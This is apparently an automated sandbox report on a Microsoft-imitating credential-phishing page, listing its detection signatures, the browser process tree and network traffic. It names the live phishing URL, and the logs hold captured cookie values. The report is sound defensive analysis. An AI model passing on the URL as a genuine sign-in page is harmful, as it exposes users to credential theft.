Edit tour

Windows Analysis Report
https://worker-curly-silence-18d1.pistisarte.workers.dev/

Overview

General Information

Sample URL:	https://worker-curly-silence-18d1.pistisarte.workers.dev/
Analysis ID:	1432386
Infos:

Detection

HTMLPhisher

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Phishing site detected (based on favicon image match)

Yara detected HtmlPhish10

Yara detected HtmlPhish29

Yara detected obfuscated html page

Phishing site detected (based on logo match)

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

Classification

Process Tree

System is w10x64

chrome.exe (PID: 4416 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5548 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2284 --field-trial-handle=2004,i,16022649671315298078,13859410041468370579,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5676 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http:/// MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6204 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=1992,i,14263432410768050684,433587216410726190,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5172 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http:/// MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6644 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=2044,i,7680465656722877014,17094009760014924907,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3484 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://worker-curly-silence-18d1.pistisarte.workers.dev/" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_80	JoeSecurity_Obshtml	Yara detected obfuscated html page	Joe Security

HTML

Source	Rule	Description	Author
0.1.pages.csv	JoeSecurity_HtmlPhish_29	Yara detected HtmlPhish_29	Joe Security
0.1.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.0.pages.csv	JoeSecurity_HtmlPhish_29	Yara detected HtmlPhish_29	Joe Security
0.0.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Sigma Signatures

⊘No Sigma rule has matched

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://worker-curly-silence-18d1.pistisarte.workers.dev/	Avira URL Cloud: detection malicious, Label: phishing
Source: https://worker-curly-silence-18d1.pistisarte.workers.dev/	SlashNext: detection malicious, Label: Credential Stealing type: Phishing & Social Engineering

Phishing

Phishing site detected (based on favicon image match)

Source: https://pistisarte.workers.dev	Matcher: Template: microsoft matched with high similarity
Source: https://worker-curly-silence-18d1.pistisarte.workers.dev/	Matcher: Template: microsoft matched with high similarity

Yara detected HtmlPhish10

Source: Yara match	File source: 0.1.pages.csv, type: HTML
Source: Yara match	File source: 0.0.pages.csv, type: HTML

Yara detected HtmlPhish29

Source: Yara match	File source: 0.1.pages.csv, type: HTML
Source: Yara match	File source: 0.0.pages.csv, type: HTML

Yara detected obfuscated html page

Source: Yara match

File source: dropped/chromecache_80, type: DROPPED

Phishing site detected (based on logo match)

Source: https://worker-curly-silence-18d1.pistisarte.workers.dev/	Matcher: Template: microsoft matched
Source: https://worker-curly-silence-18d1.pistisarte.workers.dev/	Matcher: Template: microsoft matched

Source: https://worker-curly-silence-18d1.pistisarte.workers.dev/

HTTP Parser: Number of links: 0

Source: https://worker-curly-silence-18d1.pistisarte.workers.dev/

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://worker-curly-silence-18d1.pistisarte.workers.dev/

HTTP Parser: Title: Sign in to your account does not match URL

Source: https://worker-curly-silence-18d1.pistisarte.workers.dev/

HTTP Parser: <input type="password" .../> found

Source: https://worker-curly-silence-18d1.pistisarte.workers.dev/	HTTP Parser: No <meta name="author".. found
Source: https://worker-curly-silence-18d1.pistisarte.workers.dev/	HTTP Parser: No <meta name="author".. found

Source: https://worker-curly-silence-18d1.pistisarte.workers.dev/	HTTP Parser: No <meta name="copyright".. found
Source: https://worker-curly-silence-18d1.pistisarte.workers.dev/	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 23.51.58.94:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.51.58.94:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.4:49774 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 104.46.162.224
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 69.164.46.128
Source: unknown	TCP traffic detected without corresponding DNS query: 69.164.46.128
Source: unknown	TCP traffic detected without corresponding DNS query: 69.164.46.128
Source: unknown	TCP traffic detected without corresponding DNS query: 69.164.46.128
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86

Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sorry/index?continue=https://www.google.com/async/newtab_ogb%3Fhl%3Den-US%26async%3Dfixed:0&hl=en-US&q=EgSaEMC5GPvMsLEGIjBR0qZUmfRVGI8h_HUYCIdc6XJarBdZ4MUXprSwhJK9qytI0c58_3kTv7kRub8PBlYyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 1P_JAR=2024-04-26-22; NID=513=be4dV2rAYIFRGbFY6uwKHacnfuSrUHh7WkI8rg99WNEOT6f4xEWtJ0ZmC4JLmJjo6qQnH2Z61aWpY_kqpwn8tahSApT3mcRbrMLayZoqpKUjCcKZZNdoyYHoosQGQB_d6KzoHR63qi2q9LKwEgUuQQQxilmt_ZPx6CqJQ1JegcE
Source: global traffic	HTTP traffic detected: GET /sorry/index?continue=https://www.google.com/async/newtab_promos&q=EgSaEMC5GPvMsLEGIjCY-2OZ1FtestAMHGk_Zl7jP5iIAEwEBPtsl5zqp0KiFr9Vf45Z-wKsEbzZITKCLZEyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 1P_JAR=2024-04-26-22; NID=513=be4dV2rAYIFRGbFY6uwKHacnfuSrUHh7WkI8rg99WNEOT6f4xEWtJ0ZmC4JLmJjo6qQnH2Z61aWpY_kqpwn8tahSApT3mcRbrMLayZoqpKUjCcKZZNdoyYHoosQGQB_d6KzoHR63qi2q9LKwEgUuQQQxilmt_ZPx6CqJQ1JegcE
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=mBmGWnTfBOdFZCU&MD=gdc54tFd HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: worker-curly-silence-18d1.pistisarte.workers.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://worker-curly-silence-18d1.pistisarte.workers.devsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://worker-curly-silence-18d1.pistisarte.workers.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://worker-curly-silence-18d1.pistisarte.workers.devsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://worker-curly-silence-18d1.pistisarte.workers.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.1.1.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://worker-curly-silence-18d1.pistisarte.workers.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/css/bootstrap.min.css HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://worker-curly-silence-18d1.pistisarte.workers.devsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://worker-curly-silence-18d1.pistisarte.workers.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://worker-curly-silence-18d1.pistisarte.workers.devsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://worker-curly-silence-18d1.pistisarte.workers.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://worker-curly-silence-18d1.pistisarte.workers.devsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://worker-curly-silence-18d1.pistisarte.workers.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://worker-curly-silence-18d1.pistisarte.workers.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api.ipify.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/json, text/javascript, /; q=0.01sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://worker-curly-silence-18d1.pistisarte.workers.devSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://worker-curly-silence-18d1.pistisarte.workers.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api.ipify.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=mBmGWnTfBOdFZCU&MD=gdc54tFd HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: worker-curly-silence-18d1.pistisarte.workers.dev
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: kit.fontawesome.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: ka-f.fontawesome.com
Source: global traffic	DNS traffic detected: DNS query: api.ipify.org

Source: chromecache_71.4.dr	String found in binary or memory: http://jquery.org/license
Source: chromecache_78.4.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: chromecache_71.4.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=378607
Source: chromecache_71.4.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=449857
Source: chromecache_71.4.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=470258
Source: chromecache_71.4.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=589347
Source: chromecache_71.4.dr	String found in binary or memory: https://bugs.jquery.com/ticket/12359
Source: chromecache_71.4.dr	String found in binary or memory: https://bugs.jquery.com/ticket/13378
Source: chromecache_71.4.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=136851
Source: chromecache_71.4.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=137337
Source: chromecache_71.4.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=29084
Source: chromecache_71.4.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=687787
Source: chromecache_71.4.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/CSS/display
Source: chromecache_71.4.dr	String found in binary or memory: https://drafts.csswg.org/cssom/#common-serializing-idioms
Source: chromecache_71.4.dr	String found in binary or memory: https://drafts.csswg.org/cssom/#resolved-values
Source: chromecache_76.4.dr, chromecache_74.4.dr, chromecache_84.4.dr, chromecache_79.4.dr	String found in binary or memory: https://fontawesome.com
Source: chromecache_76.4.dr, chromecache_74.4.dr, chromecache_84.4.dr, chromecache_79.4.dr	String found in binary or memory: https://fontawesome.com/license/free
Source: chromecache_75.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/archivonarrow/v30/tss5ApVBdCYD5Q7hcxTE1ArZ0Zz8oY2KRmwvKhhvLFG6o3ms.woff2
Source: chromecache_75.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/archivonarrow/v30/tss5ApVBdCYD5Q7hcxTE1ArZ0Zz8oY2KRmwvKhhvLFG6rHmsJCQ.wo
Source: chromecache_75.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/archivonarrow/v30/tss5ApVBdCYD5Q7hcxTE1ArZ0Zz8oY2KRmwvKhhvLFG6rXmsJCQ.wo
Source: chromecache_82.4.dr, chromecache_81.4.dr	String found in binary or memory: https://getbootstrap.com)
Source: chromecache_71.4.dr	String found in binary or memory: https://github.com/eslint/eslint/issues/3229
Source: chromecache_71.4.dr	String found in binary or memory: https://github.com/eslint/eslint/issues/6125
Source: chromecache_71.4.dr	String found in binary or memory: https://github.com/jquery/jquery/pull/557)
Source: chromecache_71.4.dr	String found in binary or memory: https://github.com/jquery/sizzle/pull/225
Source: chromecache_71.4.dr	String found in binary or memory: https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon
Source: chromecache_82.4.dr, chromecache_81.4.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_82.4.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)
Source: chromecache_71.4.dr	String found in binary or memory: https://html.spec.whatwg.org/#strip-and-collapse-whitespace
Source: chromecache_71.4.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/forms.html#category-listed
Source: chromecache_71.4.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled
Source: chromecache_71.4.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled
Source: chromecache_71.4.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/scripting.html#selector-disabled
Source: chromecache_71.4.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/scripting.html#selector-enabled
Source: chromecache_71.4.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/syntax.html#attributes-2
Source: chromecache_71.4.dr	String found in binary or memory: https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace
Source: chromecache_71.4.dr	String found in binary or memory: https://jquery.com/
Source: chromecache_71.4.dr	String found in binary or memory: https://jquery.org/license
Source: chromecache_71.4.dr	String found in binary or memory: https://jsperf.com/getall-vs-sizzle/2
Source: chromecache_71.4.dr	String found in binary or memory: https://jsperf.com/thor-indexof-vs-for/5
Source: chromecache_69.4.dr	String found in binary or memory: https://ka-f.fontawesome.com
Source: chromecache_69.4.dr	String found in binary or memory: https://kit.fontawesome.com
Source: chromecache_71.4.dr	String found in binary or memory: https://promisesaplus.com/#point-48
Source: chromecache_71.4.dr	String found in binary or memory: https://promisesaplus.com/#point-54
Source: chromecache_71.4.dr	String found in binary or memory: https://promisesaplus.com/#point-57
Source: chromecache_71.4.dr	String found in binary or memory: https://promisesaplus.com/#point-59
Source: chromecache_71.4.dr	String found in binary or memory: https://promisesaplus.com/#point-61
Source: chromecache_71.4.dr	String found in binary or memory: https://promisesaplus.com/#point-64
Source: chromecache_71.4.dr	String found in binary or memory: https://promisesaplus.com/#point-75
Source: chromecache_71.4.dr	String found in binary or memory: https://sizzlejs.com/
Source: chromecache_71.4.dr	String found in binary or memory: https://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/
Source: chromecache_71.4.dr	String found in binary or memory: https://web.archive.org/web/20141116233347/http://fluidproject.org/blog/2008/01/09/getting-setting-a
Source: chromecache_80.4.dr	String found in binary or memory: https://www.html-code-generator.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
